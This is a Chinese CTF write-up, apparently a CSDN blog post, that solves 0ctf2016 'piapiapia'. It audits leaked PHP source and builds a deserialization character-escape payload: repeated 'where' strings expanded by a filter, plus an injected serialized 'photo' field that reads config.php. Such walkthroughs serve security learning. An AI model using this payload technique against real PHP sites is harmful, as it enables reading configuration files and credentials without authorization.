[0ctf2016]piapiapia

[0ctf2016]piapiapia(PHP unserialize字符逃逸)

前言

由于自己还没接触过太多这类的题目,所以还是总结网上的WP进行复现,会尽可能写的清晰,那么话不多说,开始淦

首先使用了dirsearch扫了一下目录(网站源码泄漏www.zip)

dirsearch -u "http://62bfe127-e775-4795-bf16-8cc039c1e9ab.node3.buuoj.cn" -e * -s 1 -t 10

需要指定线程和延迟,不然只能扫出429
下载网站源码后开始审计
首先看看config.php,里面有个flag变量

$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';

然后看看profile.php

$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

发现一个敏感函数
file_get_contents()(将一个文件读取到一个字符串中)
还对$profile变量进行了反序列化
这里我们就有了一个思路,可不可以使用file_get_contents函数读取config.php呢?答案是可以的,这时候我们再找找$profile变量是什么传递过来的

$profile=$user->show_profile($username);

继续跟踪show_profile方法,因为profile.php包含了class.php,所以我们去class.php寻找

public function show_profile($username) {
    $username = parent::filter($username);
    $where = "username = '$username'";
    $object = parent::select($this->table, $where);
    return $object->profile;
}

发现它对username变量进行了一些处理,调用了父类filter方法

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);
		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

username变量进行处理之后,再调用父类的select方法

public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

到这里线索似乎就断了,别急,那先看看其他的php
这里看到update.php里面有个serialize(序列化操作)

$user->update_profile($username, serialize($profile));

调用了class.php中user子类的update_profile方法,这时我们回到class.php

public function update_profile($username, $new_profile) {
	$username = parent::filter($username);
	$new_profile = parent::filter($new_profile);
    $where = "username = '$username'";
    return parent::update($this->table, 'profile', $new_profile, $where);
}

还是经过父类filter方法的处理,继续跟进父类的update方法

public function update($table, $key, $value, $where) {
	$sql = "UPDATE $table SET $key = '$value' WHERE $where";
	return mysql_query($sql);
}

整个逻辑链

unserialize->show_profile方法->select方法
serialize->update_profile方法->update方法

首先数据经过序列化传入到数据库,然后取出的时候反序列化,那么势必需要传入参数,并且构造恶意参数吧,而update.php这个页面我们可以看到是一个数据传入的页面,那么我们就来看看是否存在漏洞。

if(!preg_match('/^\d{11}$/', $_POST['phone']))
	die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
	die('Invalid email');
		
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
	die('Invalid nickname');

可以看到前两个参数好像都没什么办法绕过,但第三个参数好像可以绕过
这里我们可以发现前面的正则时匹配所有字母和数字,也就是nickname是字母和数字的话,就是真,而strlen()函数可以使用数组绕过,这样一来nickname就完全被我们控制了。

$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));

传入的参数都会被序列化,那么这里我们就可以构造恶意参数
这里引入一个概念

$a = 'abc';
echo serialize(array($a));

序列化之后的结果

a:1:{i:0;s:3:"abc";}

$s = 'a:1:{i:0;s:3:"acd";}bc";}';
var_dump(unserialize($s));

反序列化之后的结果:

array(1) { [0]=> string(3) "acd" } 

也就是说当;}闭合之后后面的字符bc";}就被抛弃了
ok,明白这个概念之后,开始构造payload

首先我们传入正常的数据进行序列化

<?php
$profile['phone'] = '18888888888';
$profile['email'] = 'admin@qq.com';
$profile['nickname'] = 'admin';
$profile['photo'] = 'upload/' . md5('1.txt');
echo serialize($profile);

序列化结果为:

a:4:{s:5:"phone";s:11:"18888888888";s:5:"email";s:12:"admin@qq.com";s:8:"nickname";s:5:"admin";s:5:"photo";s:39:"upload/dd7ec931179c4dcb6a8ffb8b8786d20b";}

由于需要利用file_get_contents函数读取config.php

<?php
$profile['phone'] = '18888888888';
$profile['email'] = 'admin@qq.com';
$profile['nickname'] = 'admin';
$profile['photo'] = 'config.php';
echo serialize($profile);

那么我们需要使序列化的结果为:

a:4:{s:5:"phone";s:11:"18888888888";s:5:"email";s:12:"admin@qq.com";s:8:"nickname";s:5:"admin";s:5:"photo";s:10:"config.php";}

而我们可以控制的部分是:

admin

所以我们可以使nickname为:

";}s:5:"photo";s:10:"config.php";}

为什么这里多了个括号呢?

class test{
    public $a = array('a','b');
}
class test2 {
    public $b = '123';
}

$test = new test();
$test2 = new test2();
echo serialize($test);
echo '<br>';
echo serialize($test2);

序列化结果:

O:4:"test":1:{s:1:"a";a:2:{i:0;s:1:"a";i:1;s:1:"b";}}
O:5:"test2":1:{s:1:"b";s:3:"123";}

可以看到数组序列化是多一个括号的
ok,这样一构造的话,我们发现

<?php
$profile['phone'] = '18888888888';
$profile['email'] = 'admin@qq.com';
$profile['nickname'] = '"};s:5:"photo";s:10:"config.php";}';
$profile['photo'] = 'config.php';
echo serialize($profile);

序列化结果:

a:4:{s:5:"phone";s:11:"18888888888";s:5:"email";s:12:"admin@qq.com";s:8:"nickname";s:34:""};s:5:"photo";s:10:"config.php";}";s:5:"photo";s:10:"config.php";}

这里我构造的序列化的payload是无法被反序列化的,因为还差34个字符
这时候想起来父类的filter方法对用户传入的参数进行了过滤,现在去看看

public function filter($string) {
	$escape = array('\'', '\\\\');
	$escape = '/' . implode('|', $escape) . '/';
	$string = preg_replace($escape, '_', $string);
	$safe = array('select', 'insert', 'update', 'delete', 'where');
	$safe = '/' . implode('|', $safe) . '/i';
	return preg_replace($safe, 'hacker', $string);
}

这里我们发现select,insert,update,delete都是六个字符,唯独where是五个字符,而把where替换成hacker,则多出来一个字符正好可以填充,那么使用34个where不就可以解决这个问题了吗
所以最终payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

在这里插入图片描述

©️2020 CSDN 皮肤主题: 撸撸猫 设计师:设计师小姐姐 返回首页